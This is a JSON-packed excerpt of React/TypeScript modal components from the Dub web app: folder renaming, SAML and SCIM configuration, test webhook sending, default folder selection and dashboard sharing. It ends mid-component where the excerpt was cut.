    "content": "import { Folder } from \"@dub/prisma/client\";\nimport { Modal } from \"@dub/ui\";\nimport { useCallback, useMemo, useState } from \"react\";\nimport { RenameFolderForm } from \"../folders/rename-folder-form\";\n\ninterface RenameFolderModalProps {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n  folder: Pick<Folder, \"id\" | \"name\">;\n}\n\nconst RenameFolderModal = ({\n  showModal,\n  setShowModal,\n  folder,\n}: RenameFolderModalProps) => {\n  return (\n    <Modal showModal={showModal} setShowModal={setShowModal}>\n      <h3 className=\"border-b border-neutral-200 px-4 py-4 text-lg font-medium sm:px-6\">\n        Rename folder\n      </h3>\n      <div>\n        <RenameFolderForm\n          onSuccess={() => setShowModal(false)}\n          onCancel={() => setShowModal(false)}\n          folder={folder}\n        />\n      </div>\n    </Modal>\n  );\n};\n\nexport function useRenameFolderModal(folder: Pick<Folder, \"id\" | \"name\">) {\n  const [showRenameFolderModal, setShowRenameFolderModal] = useState(false);\n\n  const RenameFolderModalCallback = useCallback(() => {\n    return (\n      <RenameFolderModal\n        showModal={showRenameFolderModal}\n        setShowModal={setShowRenameFolderModal}\n        folder={folder}\n      />\n    );\n  }, [showRenameFolderModal, setShowRenameFolderModal]);\n\n  return useMemo(\n    () => ({\n      setShowRenameFolderModal,\n      RenameFolderModal: RenameFolderModalCallback,\n    }),\n    [setShowRenameFolderModal, RenameFolderModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/saml-modal.tsx",
    "content": "import useSAML from \"@/lib/swr/use-saml\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { SAMLProviderProps } from \"@/lib/types\";\nimport { Button, InfoTooltip, Modal, useMediaQuery } from \"@dub/ui\";\nimport { SAML_PROVIDERS } from \"@dub/utils\";\nimport { Check, Lock, UploadCloud } from \"lucide-react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction SAMLModal({\n  showSAMLModal,\n  setShowSAMLModal,\n}: {\n  showSAMLModal: boolean;\n  setShowSAMLModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { id } = useWorkspace();\n  const [selectedProvider, setSelectedProvider] = useState<\n    SAMLProviderProps[\"saml\"] | undefined\n  >();\n  const [submitting, setSubmitting] = useState(false);\n  const { mutate } = useSAML();\n\n  const currentProvider = useMemo(\n    () => SAML_PROVIDERS.find((p) => p.saml === selectedProvider),\n    [selectedProvider],\n  );\n\n  const [file, setFile] = useState<File | null>(null);\n  const [fileContent, setFileContent] = useState(\"\");\n\n  const { isMobile } = useMediaQuery();\n\n  return (\n    <Modal showModal={showSAMLModal} setShowModal={setShowSAMLModal}>\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-8 sm:px-16\">\n        <div className=\"rounded-full border border-neutral-200 p-3\">\n          <Lock className=\"h-5 w-5 text-neutral-600\" />\n        </div>\n        <h3 className=\"text-lg font-medium\">Configure SAML</h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          Select a provider to configure SAML for your{\" \"}\n          {process.env.NEXT_PUBLIC_APP_NAME} workspace.\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        <form\n          onSubmit={async (e) => {\n            e.preventDefault();\n            setSubmitting(true);\n            fetch(`/api/workspaces/${id}/saml`, {\n              method: \"POST\",\n              headers: {\n                \"Content-Type\": \"application/json\",\n              },\n              body: JSON.stringify({\n                metadataUrl: e.currentTarget.metadataUrl?.value,\n                encodedRawMetadata: fileContent\n                  ? Buffer.from(fileContent).toString(\"base64\")\n                  : undefined,\n              }),\n            }).then(async (res) => {\n              if (res.ok) {\n                await mutate();\n                setShowSAMLModal(false);\n                toast.success(\"Successfully configured SAML\");\n              } else {\n                const { error } = await res.json();\n                toast.error(error.message);\n              }\n              setSubmitting(false);\n            });\n          }}\n          className=\"flex flex-col space-y-4\"\n        >\n          <div>\n            <div className=\"flex items-center space-x-1\">\n              <h2 className=\"text-sm font-medium text-neutral-900\">\n                SAML Provider\n              </h2>\n              <InfoTooltip content=\"Your SAML provider is the service you use to manage your users.\" />\n            </div>\n            <select\n              id=\"provider\"\n              name=\"provider\"\n              required\n              value={selectedProvider}\n              onChange={(e) =>\n                setSelectedProvider(e.target.value as SAMLProviderProps[\"saml\"])\n              }\n              className=\"mt-1 block w-full appearance-none rounded-md border border-neutral-300 px-3 py-2 shadow-sm focus:border-black focus:outline-none focus:ring-black sm:text-sm\"\n            >\n              <option disabled selected>\n                Select a provider\n              </option>\n              {SAML_PROVIDERS.map((provider) => (\n                <option\n                  key={provider.saml}\n                  value={provider.saml}\n                  disabled={provider.wip}\n                >\n                  {provider.name}\n                  {provider.wip && \"(Coming Soon)\"}\n                </option>\n              ))}\n            </select>\n            {currentProvider ? (\n              <a\n                href={`https://dub.co/help/article/${selectedProvider}-saml`}\n                target=\"_blank\"\n                className=\"ml-2 mt-2 block text-sm text-neutral-500 underline\"\n              >\n                Read the guide on {currentProvider.name} SSO\n              </a>\n            ) : (\n              <a\n                href=\"https://dub.co/help/category/saml-sso\"\n                target=\"_blank\"\n                className=\"ml-2 mt-2 block text-sm text-neutral-500 underline\"\n              >\n                Learn more about SAML SSO\n              </a>\n            )}\n          </div>\n\n          {currentProvider &&\n            (selectedProvider === \"google\" ? (\n              <div className=\"border-t border-neutral-200 pt-4\">\n                <div className=\"flex items-center space-x-1\">\n                  <h2 className=\"text-sm font-medium text-neutral-900\">\n                    {currentProvider.samlModalCopy}\n                  </h2>\n                  <InfoTooltip\n                    content={`Your ${currentProvider.samlModalCopy} is the URL to your SAML provider's metadata. [Learn more.](https://dub.co/help/article/${selectedProvider}-saml)`}\n                  />\n                </div>\n                <label\n                  htmlFor=\"metadataRaw\"\n                  className=\"group relative mt-1 flex h-24 w-full cursor-pointer flex-col items-center justify-center rounded-md border border-neutral-300 bg-white shadow-sm transition-all hover:bg-neutral-50\"\n                >\n                  {file ? (\n                    <>\n                      <Check className=\"h-5 w-5 text-green-600 transition-all duration-75 group-hover:scale-110 group-active:scale-95\" />\n                      <p className=\"mt-2 text-sm text-neutral-500\">\n                        {file.name}\n                      </p>\n                    </>\n                  ) : (\n                    <>\n                      <UploadCloud className=\"h-5 w-5 text-neutral-500 transition-all duration-75 group-hover:scale-110 group-active:scale-95\" />\n                      <p className=\"mt-2 text-sm text-neutral-500\">\n                        Choose an .xml file to upload\n                      </p>\n                    </>\n                  )}\n                </label>\n                <input\n                  id=\"metadataRaw\"\n                  name=\"metadataRaw\"\n                  type=\"file\"\n                  accept=\"text/xml\"\n                  className=\"sr-only\"\n                  required\n                  onChange={(e) => {\n                    const f = e.target?.files && e.target?.files[0];\n                    setFile(f);\n                    if (f) {\n                      const reader = new FileReader();\n                      reader.onload = (e) => {\n                        const content = e.target?.result;\n                        setFileContent(content as string);\n                      };\n                      reader.readAsText(f);\n                    }\n                  }}\n                />\n              </div>\n            ) : (\n              <div className=\"border-t border-neutral-200 pt-4\">\n                <div className=\"flex items-center space-x-1\">\n                  <h2 className=\"text-sm font-medium text-neutral-900\">\n                    {currentProvider.samlModalCopy}\n                  </h2>\n                  <InfoTooltip\n                    content={`Your ${currentProvider.samlModalCopy} is the URL to your SAML provider's metadata. [Learn more.](https://dub.co/help/article/${selectedProvider}-saml#step-4-copy-the-metadata-url)`}\n                  />\n                </div>\n                <input\n                  id=\"metadataUrl\"\n                  name=\"metadataUrl\"\n                  autoFocus={!isMobile}\n                  type=\"url\"\n                  placeholder=\"https://\"\n                  autoComplete=\"off\"\n                  required\n                  className=\"mt-1 block w-full appearance-none rounded-md border border-neutral-300 px-3 py-2 placeholder-neutral-400 shadow-sm focus:border-black focus:outline-none focus:ring-black sm:text-sm\"\n                />\n              </div>\n            ))}\n          <Button\n            text=\"Save changes\"\n            disabled={!selectedProvider}\n            loading={submitting}\n          />\n        </form>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useSAMLModal() {\n  const [showSAMLModal, setShowSAMLModal] = useState(false);\n\n  const SAMLModalCallback = useCallback(() => {\n    return (\n      <SAMLModal\n        showSAMLModal={showSAMLModal}\n        setShowSAMLModal={setShowSAMLModal}\n      />\n    );\n  }, [showSAMLModal, setShowSAMLModal]);\n\n  return useMemo(\n    () => ({\n      setShowSAMLModal,\n      SAMLModal: SAMLModalCallback,\n    }),\n    [setShowSAMLModal, SAMLModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/scim-modal.tsx",
    "content": "import useSCIM from \"@/lib/swr/use-scim\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { SAMLProviderProps } from \"@/lib/types\";\nimport {\n  BlurImage,\n  Button,\n  Copy,\n  InfoTooltip,\n  Logo,\n  Modal,\n  Refresh2,\n  Tick,\n  useCopyToClipboard,\n} from \"@dub/ui\";\nimport { SAML_PROVIDERS } from \"@dub/utils\";\nimport { Eye, EyeOff, FolderSync } from \"lucide-react\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction SCIMModal({\n  showSCIMModal,\n  setShowSCIMModal,\n}: {\n  showSCIMModal: boolean;\n  setShowSCIMModal: Dispatch<SetStateAction<boolean>>;\n}) {\n  const { id, logo } = useWorkspace();\n  const [submitting, setSubmitting] = useState(false);\n  const { scim, provider, configured, mutate } = useSCIM();\n  const [selectedProvider, setSelectedProvider] = useState<\n    SAMLProviderProps[\"scim\"] | undefined\n  >(provider || undefined);\n  const [showBearerToken, setShowBearerToken] = useState(false);\n  const [copiedBaseUrl, copyBaseUrlToClipboard] = useCopyToClipboard();\n  const [copiedBearerToken, copyBearerTokenToClipboard] = useCopyToClipboard();\n\n  const currentProvider = useMemo(\n    () => SAML_PROVIDERS.find((p) => p.scim === selectedProvider),\n    [selectedProvider],\n  );\n\n  return (\n    <Modal showModal={showSCIMModal} setShowModal={setShowSCIMModal}>\n      <div className=\"flex flex-col items-center justify-center space-y-3 border-b border-neutral-200 px-4 py-8 sm:px-16\">\n        {currentProvider ? (\n          <div className=\"flex items-center space-x-3 py-4\">\n            <img\n              src={currentProvider.logo}\n              alt={`${provider} logo`}\n              className=\"size-10\"\n            />\n            <Refresh2 className=\"h-5 w-5 text-neutral-600\" />\n            {logo ? (\n              <BlurImage\n                src={logo}\n                alt=\"Workspace logo\"\n                className=\"size-10 rounded-full\"\n                width={20}\n                height={20}\n              />\n            ) : (\n              <Logo className=\"size-10 text-neutral-500\" />\n            )}\n          </div>\n        ) : (\n          <div className=\"rounded-full border border-neutral-200 p-3\">\n            <FolderSync className=\"h-5 w-5 text-neutral-600\" />\n          </div>\n        )}\n\n        <h3 className=\"text-lg font-medium\">\n          {currentProvider\n            ? `${currentProvider.name} SCIM`\n            : \"Configure Directory Sync\"}\n        </h3>\n        <p className=\"text-center text-sm text-neutral-500\">\n          {currentProvider\n            ? \"Your workspace is currently syncing with your SCIM directory.\"\n            : `Select a provider to configure directory sync for your ${process.env.NEXT_PUBLIC_APP_NAME} workspace.`}\n        </p>\n      </div>\n\n      <div className=\"flex flex-col space-y-6 bg-neutral-50 px-4 py-8 text-left sm:px-16\">\n        <form\n          onSubmit={async (e) => {\n            e.preventDefault();\n            setSubmitting(true);\n            fetch(`/api/workspaces/${id}/scim`, {\n              method: \"POST\",\n              headers: {\n                \"Content-Type\": \"application/json\",\n              },\n              body: JSON.stringify({\n                provider: e.currentTarget.provider.value,\n                ...(configured && {\n                  currentDirectoryId: scim.directories[0].id,\n                }),\n              }),\n            }).then(async (res) => {\n              if (res.ok) {\n                await mutate();\n                toast.success(\"Successfully configured SCIM\");\n              } else {\n                const { error } = await res.json();\n                toast.error(error.message);\n              }\n              setSubmitting(false);\n            });\n          }}\n          className=\"flex flex-col space-y-4\"\n        >\n          <div>\n            <div className=\"flex items-center space-x-1\">\n              <h2 className=\"text-sm font-medium text-neutral-900\">\n                Directory Provider\n              </h2>\n              <InfoTooltip\n                content={`Your directory provider is the IDP you use to manage your users. [${selectedProvider ? \"Read the guide.\" : \"Learn more.\"}](https://dub.co/help/${\n                  currentProvider\n                    ? `article/${currentProvider.saml}-scim`\n                    : \"category/saml-sso\"\n                })`}\n              />\n            </div>\n            <select\n              id=\"provider\"\n              name=\"provider\"\n              required\n              value={selectedProvider}\n              onChange={(e) =>\n                setSelectedProvider(e.target.value as SAMLProviderProps[\"scim\"])\n              }\n              className=\"mt-1 block w-full appearance-none rounded-md border border-neutral-300 px-3 py-2 placeholder-neutral-400 shadow-sm focus:border-black focus:outline-none focus:ring-black sm:text-sm\"\n            >\n              <option disabled selected>\n                Select a provider\n              </option>\n              {SAML_PROVIDERS.map((provider) => (\n                <option\n                  key={provider.scim}\n                  value={provider.scim}\n                  disabled={provider.wip}\n                >\n                  {provider.name} {provider.wip && \"(Coming Soon)\"}\n                </option>\n              ))}\n            </select>\n            {currentProvider && (\n              <a\n                href={`https://dub.co/help/article/${currentProvider.saml}-scim`}\n                target=\"_blank\"\n                className=\"ml-2 mt-2 block text-sm text-neutral-500 underline\"\n              >\n                Read the guide on {currentProvider.name} SCIM\n              </a>\n            )}\n          </div>\n\n          {currentProvider && selectedProvider === provider && (\n            <div className=\"mt-4 flex flex-col space-y-4\">\n              <div className=\"w-full border-t border-neutral-200\" />\n              <div>\n                <div className=\"flex items-center space-x-1\">\n                  <h2 className=\"text-sm font-medium text-neutral-900\">\n                    {currentProvider.scimModalCopy.url}\n                  </h2>\n                  <InfoTooltip\n                    content={`Your directory provider is the IDP you use to manage your users. [Read the guide.](https://dub.co/help/article/${currentProvider.saml}-scim)`}\n                  />\n                </div>\n                <div className=\"mt-1 flex w-full items-center justify-between rounded-md border border-neutral-300 bg-white px-3 py-2 shadow-sm\">\n                  <div className=\"scrollbar-hide overflow-auto\">\n                    <p className=\"whitespace-nowrap text-neutral-600 sm:text-sm\">\n                      {scim.directories[0].scim.endpoint}\n                    </p>\n                  </div>\n                  <button\n                    type=\"button\"\n                    className=\"pl-2\"\n                    onClick={() => {\n                      const url = scim.directories[0].scim.endpoint as string;\n                      toast.promise(copyBaseUrlToClipboard(url), {\n                        success: \"Copied to clipboard\",\n                      });\n                    }}\n                  >\n                    {copiedBaseUrl ? (\n                      <Tick className=\"h-4 w-4 text-neutral-500\" />\n                    ) : (\n                      <Copy className=\"h-4 w-4 text-neutral-500\" />\n                    )}\n                  </button>\n                </div>\n              </div>\n\n              <div>\n                <div className=\"flex items-center space-x-1\">\n                  <h2 className=\"text-sm font-medium text-neutral-900\">\n                    {currentProvider.scimModalCopy.token}\n                  </h2>\n                  <InfoTooltip\n                    content={`Your directory provider is the IDP you use to manage your users. [Read the guide.](https://dub.co/help/article/${currentProvider.saml}-scim)`}\n                  />\n                </div>\n                <div className=\"mt-1 flex w-full items-center justify-between rounded-md border border-neutral-300 bg-white px-3 py-2 shadow-sm\">\n                  <input\n                    type={showBearerToken ? \"text\" : \"password\"}\n                    contentEditable={false}\n                    className=\"w-full border-none p-0 focus:outline-none focus:ring-0 sm:text-sm\"\n                    value={`${scim.directories[0].scim.secret}`}\n                  />\n                  <div className=\"flex space-x-2 pl-2\">\n                    <button\n                      type=\"button\"\n                      onClick={() => {\n                        const token = scim.directories[0].scim.secret as string;\n                        toast.promise(copyBearerTokenToClipboard(token), {\n                          success: \"Copied to clipboard\",\n                        });\n                      }}\n                    >\n                      {copiedBearerToken ? (\n                        <Tick className=\"h-4 w-4 text-neutral-500\" />\n                      ) : (\n                        <Copy className=\"h-4 w-4 text-neutral-500\" />\n                      )}\n                    </button>\n\n                    <button\n                      type=\"button\"\n                      onClick={() => setShowBearerToken(!showBearerToken)}\n                    >\n                      {showBearerToken ? (\n                        <Eye className=\"h-4 w-4 text-neutral-500\" />\n                      ) : (\n                        <EyeOff className=\"h-4 w-4 text-neutral-500\" />\n                      )}\n                    </button>\n                  </div>\n                </div>\n              </div>\n            </div>\n          )}\n\n          <Button\n            text={\n              selectedProvider === provider ? \"Complete setup\" : \"Save changes\"\n            }\n            type={selectedProvider === provider ? \"button\" : \"submit\"}\n            {...(selectedProvider === provider && {\n              onClick: () => {\n                setShowSCIMModal(false);\n              },\n            })}\n            loading={submitting}\n            disabled={!currentProvider}\n          />\n        </form>\n      </div>\n    </Modal>\n  );\n}\n\nexport function useSCIMModal() {\n  const [showSCIMModal, setShowSCIMModal] = useState(false);\n\n  const SCIMModalCallback = useCallback(() => {\n    return (\n      <SCIMModal\n        showSCIMModal={showSCIMModal}\n        setShowSCIMModal={setShowSCIMModal}\n      />\n    );\n  }, [showSCIMModal, setShowSCIMModal]);\n\n  return useMemo(\n    () => ({\n      setShowSCIMModal,\n      SCIMModal: SCIMModalCallback,\n    }),\n    [setShowSCIMModal, SCIMModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/send-test-webhook-modal.tsx",
    "content": "import { sendTestWebhookEvent } from \"@/lib/actions/send-test-webhook\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { WebhookProps, WebhookTrigger } from \"@/lib/types\";\nimport { WEBHOOK_TRIGGER_DESCRIPTIONS } from \"@/lib/webhook/constants\";\nimport { Button, Combobox, ComboboxOption, Modal } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\n\nfunction SendTestWebhookModal({\n  showSendTestWebhookModal,\n  setShowSendTestWebhookModal,\n  webhook,\n}: {\n  showSendTestWebhookModal: boolean;\n  setShowSendTestWebhookModal: Dispatch<SetStateAction<boolean>>;\n  webhook: WebhookProps | undefined;\n}) {\n  const workspace = useWorkspace();\n  const [selectedTrigger, setSelectedTrigger] = useState<ComboboxOption | null>(\n    null,\n  );\n\n  const { execute, isPending } = useAction(sendTestWebhookEvent, {\n    onSuccess: () => {\n      toast.success(\"Webhook event sent.\");\n      setShowSendTestWebhookModal(false);\n    },\n    onError: ({ error }) => {\n      toast.error(error.serverError);\n    },\n  });\n\n  const triggers = Object.entries(WEBHOOK_TRIGGER_DESCRIPTIONS).map(\n    ([key, value]) => ({\n      value: key,\n      label: value,\n    }),\n  );\n\n  return (\n    <Modal\n      showModal={showSendTestWebhookModal}\n      setShowModal={setShowSendTestWebhookModal}\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Send test webhook event\n        </h3>\n      </div>\n      <form\n        onSubmit={async (e) => {\n          e.preventDefault();\n\n          if (!selectedTrigger || !webhook) {\n            return;\n          }\n\n          execute({\n            workspaceId: workspace.id!,\n            webhookId: webhook.id,\n            trigger: selectedTrigger?.value as WebhookTrigger,\n          });\n        }}\n      >\n        <div className=\"bg-neutral-50 p-4 sm:p-6\">\n          <p className=\"text-sm text-neutral-800\">\n            Choose a webhook event to send to your receiver endpoint\n          </p>\n\n          <div className=\"mt-4\">\n            <Combobox\n              options={triggers}\n              selected={selectedTrigger}\n              setSelected={setSelectedTrigger}\n              placeholder=\"Select a webhook event\"\n              matchTriggerWidth\n              caret\n            />\n          </div>\n        </div>\n\n        <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n          <Button\n            onClick={() => setShowSendTestWebhookModal(false)}\n            variant=\"secondary\"\n            text=\"Cancel\"\n            className=\"h-8 w-fit px-3\"\n          />\n          <Button\n            disabled={!selectedTrigger}\n            text=\"Send test webhook\"\n            loading={isPending}\n            className=\"h-8 w-fit px-3\"\n          />\n        </div>\n      </form>\n    </Modal>\n  );\n}\n\nexport function useSendTestWebhookModal({\n  webhook,\n}: {\n  webhook: WebhookProps | undefined;\n}) {\n  const [showSendTestWebhookModal, setShowSendTestWebhookModal] =\n    useState(false);\n\n  const SendTestWebhookModalCallback = useCallback(() => {\n    return (\n      <SendTestWebhookModal\n        showSendTestWebhookModal={showSendTestWebhookModal}\n        setShowSendTestWebhookModal={setShowSendTestWebhookModal}\n        webhook={webhook}\n      />\n    );\n  }, [showSendTestWebhookModal, setShowSendTestWebhookModal]);\n\n  return useMemo(\n    () => ({\n      setShowSendTestWebhookModal,\n      SendTestWebhookModal: SendTestWebhookModalCallback,\n    }),\n    [setShowSendTestWebhookModal, SendTestWebhookModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/set-default-folder-modal.tsx",
    "content": "import { setDefaultFolderAction } from \"@/lib/actions/folders/set-default-folder\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { FolderSummary } from \"@/lib/types\";\nimport { Button, Modal } from \"@dub/ui\";\nimport { useAction } from \"next-safe-action/hooks\";\nimport {\n  Dispatch,\n  SetStateAction,\n  useCallback,\n  useMemo,\n  useState,\n} from \"react\";\nimport { toast } from \"sonner\";\nimport { mutate } from \"swr\";\nimport { SimpleFolderCard } from \"../folders/simple-folder-card\";\n\nfunction SetDefaultFolderModal({\n  showDefaultFolderModal,\n  setShowDefaultFolderModal,\n  folder,\n}: {\n  showDefaultFolderModal: boolean;\n  setShowDefaultFolderModal: Dispatch<SetStateAction<boolean>>;\n  folder: FolderSummary;\n}) {\n  const { id: workspaceId, slug } = useWorkspace();\n\n  const { executeAsync, isPending } = useAction(setDefaultFolderAction, {\n    onSuccess: async () => {\n      setShowDefaultFolderModal(false);\n      await Promise.all([\n        mutate(\"/api/workspaces\"),\n        mutate(`/api/workspaces/${slug}`),\n        mutate(`/api/folders?workspaceId=${workspaceId}`),\n      ]);\n    },\n    onError({ error }) {\n      toast.error(error.serverError);\n    },\n  });\n\n  const setDefaultFolder = async () => {\n    if (!workspaceId) return;\n\n    await executeAsync({\n      workspaceId,\n      folderId: folder.id === \"unsorted\" ? null : folder.id,\n    });\n  };\n\n  return (\n    <Modal\n      showModal={showDefaultFolderModal}\n      setShowModal={setShowDefaultFolderModal}\n    >\n      <div className=\"space-y-2 border-b border-neutral-200 p-4 sm:p-6\">\n        <h3 className=\"text-lg font-medium leading-none\">\n          Set \"{folder.name}\" as your default folder\n        </h3>\n      </div>\n\n      <div className=\"bg-neutral-50 p-4 sm:p-6\">\n        <p className=\"text-sm text-neutral-800\">\n          This will make this folder the default folder for your links\n          dashboard.{\" \"}\n          <a\n            href=\"https://dub.co/help/article/link-folders#setting-a-default-folder\"\n            className=\"cursor-help text-neutral-700 underline decoration-dotted underline-offset-2 hover:text-neutral-900\"\n            target=\"_blank\"\n            rel=\"noreferrer\"\n          >\n            Learn more.\n          </a>\n        </p>\n\n        <div className=\"scrollbar-hide mt-4 flex max-h-[190px] flex-col gap-2 overflow-y-auto rounded-2xl border border-neutral-200 p-2\">\n          <SimpleFolderCard folder={folder} />\n        </div>\n      </div>\n\n      <div className=\"flex items-center justify-end gap-2 border-t border-neutral-200 bg-neutral-50 px-4 py-5 sm:px-6\">\n        <Button\n          onClick={() => setShowDefaultFolderModal(false)}\n          variant=\"secondary\"\n          text=\"Cancel\"\n          className=\"h-8 w-fit px-3\"\n        />\n        <Button\n          onClick={() =>\n            toast.promise(setDefaultFolder, {\n              loading: `Setting ${folder.name} as the default folder...`,\n              success: `Successfully set ${folder.name} as the default folder!`,\n              error: (error) => {\n                return error.message;\n              },\n            })\n          }\n          autoFocus\n          loading={isPending}\n          text=\"Set as default folder\"\n          className=\"h-8 w-fit px-3\"\n        />\n      </div>\n    </Modal>\n  );\n}\n\nexport function useDefaultFolderModal({ folder }: { folder: FolderSummary }) {\n  const [showDefaultFolderModal, setShowDefaultFolderModal] = useState(false);\n\n  const DefaultFolderModalCallback = useCallback(() => {\n    return folder ? (\n      <SetDefaultFolderModal\n        showDefaultFolderModal={showDefaultFolderModal}\n        setShowDefaultFolderModal={setShowDefaultFolderModal}\n        folder={folder}\n      />\n    ) : null;\n  }, [showDefaultFolderModal, setShowDefaultFolderModal, folder]);\n\n  return useMemo(\n    () => ({\n      setShowDefaultFolderModal,\n      DefaultFolderModal: DefaultFolderModalCallback,\n    }),\n    [setShowDefaultFolderModal, DefaultFolderModalCallback],\n  );\n}\n"
  },
  {
    "path": "apps/web/ui/modals/share-dashboard-modal.tsx",
    "content": "import useFolder from \"@/lib/swr/use-folder\";\nimport { useFolderLinkCount } from \"@/lib/swr/use-folder-link-count\";\nimport useWorkspace from \"@/lib/swr/use-workspace\";\nimport { DashboardProps, Folder, LinkProps } from \"@/lib/types\";\nimport { updateDashboardBodySchema } from \"@/lib/zod/schemas/dashboard\";\nimport {\n  AnimatedSizeContainer,\n  Button,\n  Copy,\n  Input,\n  LinkLogo,\n  Modal,\n  Switch,\n  Tick,\n  useCopyToClipboard,\n} from \"@dub/ui\";\nimport { ArrowTurnRight2, Folder as FolderIcon, Globe } from \"@dub/ui/icons\";\nimport {\n  APP_DOMAIN,\n  fetcher,\n  getApexDomain,\n  getPrettyUrl,\n  linkConstructor,\n  nFormatter,\n  pluralize,\n} from \"@dub/utils\";\nimport { useCallback, useEffect, useMemo, useState } from \"react\";\nimport { Controller, useForm } from \"react-hook-form\";\nimport { toast } from \"sonner\";\nimport useSWR from \"swr\";\nimport * as z from \"zod/v4\";\n\ntype ShareDashboardModalInnerProps =\n  | {\n      domain: string;\n      _key: string;\n      folderId?: never;\n    }\n  | {\n      folderId: string;\n      domain?: never;\n      _key?: never;\n    };\n\ntype ShareDashboardModalProps = {\n  showModal: boolean;\n  setShowModal: (showModal: boolean) => void;\n} & ShareDashboardModalInnerProps;\n\nfunction ShareDashboardModal(props: ShareDashboardModalProps) {\n  return (\n    <Modal {...props}>\n      <ShareDashboardModalInner {...props} />\n    </Modal>\n  );\n}\n\nfunction ShareDashboardModalInner({\n  domain,\n  _key: key,\n  folderId,\n}: ShareDashboardModalProps) {\n  const { id: workspaceId } = useWorkspace();\n  const [isRemoving, setIsRemoving] = useState(false);\n\n  const { folder, error: folderError } = useFolder({ folderId });\n\n  const { data: link, error: linkError } = useSWR<LinkProps>(\n    workspaceId && domain && key\n      ? `/api/links/info?${new URLSearchParams({ workspaceId, domain, key }).toString()}`\n      : undefined,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n\n  const { data: dashboard, mutate } = useSWR<DashboardProps>(\n    folder?.id\n      ? `/api/folders/${folder.id}/dashboard?workspaceId=${workspaceId}`\n      : link?.id\n        ? `/api/links/${link.id}/dashboard?workspaceId=${workspaceId}`\n        : undefined,\n    fetcher,\n    {\n      dedupingInterval: 60000,\n    },\n  );\n  const [checked, setChecked] = useState(Boolean(dashboard));\n\n  const {\n    register,\n    control,\n    handleSubmit,\n    watch,\n    setValue,\n    formState: { isDirty, isSubmitting },\n  } = useForm<z.infer<typeof updateDashboardBodySchema>>();\n\n  useEffect(() => {\n    setChecked(Boolean(dashboard));\n    setValue(\"showConversions\", dashboard?.showConversions ?? false);\n    setValue(\"doIndex\", dashboard?.doIndex ?? false);\n    setValue(\"password\", dashboard?.password ?? null);\n  }, [dashboard]);\n\n  const [isCreating, setIsCreating] = useState(false);\n  const [copied, copyToClipboard] = useCopyToClipboard();\n\n  const handleCreate = async () => {\n    if (!workspaceId) {\n      return;\n    }\n\n    setChecked(true);\n    setIsCreating(true);\n\n    const res = await fetch(\n      `/api/dashboards?${new URLSearchParams({ workspaceId, ...(domain && key ? { domain, key } : { folderId: folderId! }) }).toString()}`,\n      {\n        method: \"POST\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n      },\n    );\n\n    if (res.ok) {\n      const data = await res.json();\n      await mutate();\n\n      toast.promise(copyToClipboard(`${APP_DOMAIN}/share/${data.id}`), {\n        success:\n          \"Successfully created shared dashboard! Copied link to clipboard.\",\n      });\n    } else {\n      toast.error(\"Failed to create shared dashboard\");\n      setChecked(false);\n    }\n\n    setIsCreating(false);\n  };\n\n  const handleUpdate = async (\n    formData: z.infer<typeof updateDashboardBodySchema>,\n  ) => {\n    if (!dashboard) {\n      return;\n    }\n\n    const res = await fetch(\n      `/api/dashboards/${dashboard.id}?workspaceId=${workspaceId}`,\n      {\n        method: \"PATCH\",\n        headers: {\n          \"Content-Type\": \"application/json\",\n        },\n        body: JSON.stringify(formData),\n      },\n    );\n\n    if (res.ok) {\n      await mutate();\n      toast.success(\"Saved changes.\");\n    } else {\n      toast.error(\"Failed to save changes.\");\n    }\n  };\n\n  const handleRemove = async () => {\n    if (!dashboard) {\n      return;\n    }\n\n    if (\n      !confirm(\n        \"Are you sure you want to remove the shared dashboard? Your existing dashboard link will break and you'll have to create a new one.\",\n      )\n    ) {\n      return;\n    }\n\n    setChecked(false);\n    setIsRemoving(true);\n\n    const res = await fetch(\n      `/api/dashboards/${dashboard.id}?workspaceId=${workspaceId}`,\n      {\n        method: \"DELETE\",\n      },\n    );\n\n    if (res.ok) {\n      await mutate();\n      toast.success(\"Removed shared dashboard.\");\n    } else {\n      toast.error(\"Failed to remove shared dashboard.\");\n      setChecked(true);\n    }\n\n    setIsRemoving(false);\n  };\n\n  return (\n    <>\n      <h3 className=\"border-b border-neutral-200 px-4 py-4 text-lg font-medium sm:px-6\">\n        Share dashboard\n      </h3>\n      <div className=\"bg-neutral-50 px-6 pb-6 pt-4\">\n        {folderId ? (\n          <FolderCard folder={folder} isError={Boolean(folderError)} />\n        ) : (\n          <LinkCard link={link} isError={Boolean(linkError)} />\n        )}\n        <AnimatedSizeContainer\n          height\n          transition={{ duration: 0.2, ease: \"easeInOut\" }}\n        >\n          {dashboard !== undefined ? (\n            <>\n              <label className=\"flex cursor-pointer items-center justify-between gap-2 pt-6\">\n                <span className=\"flex items-center gap-2 text-sm text-neutral-600\">\n                  <Globe 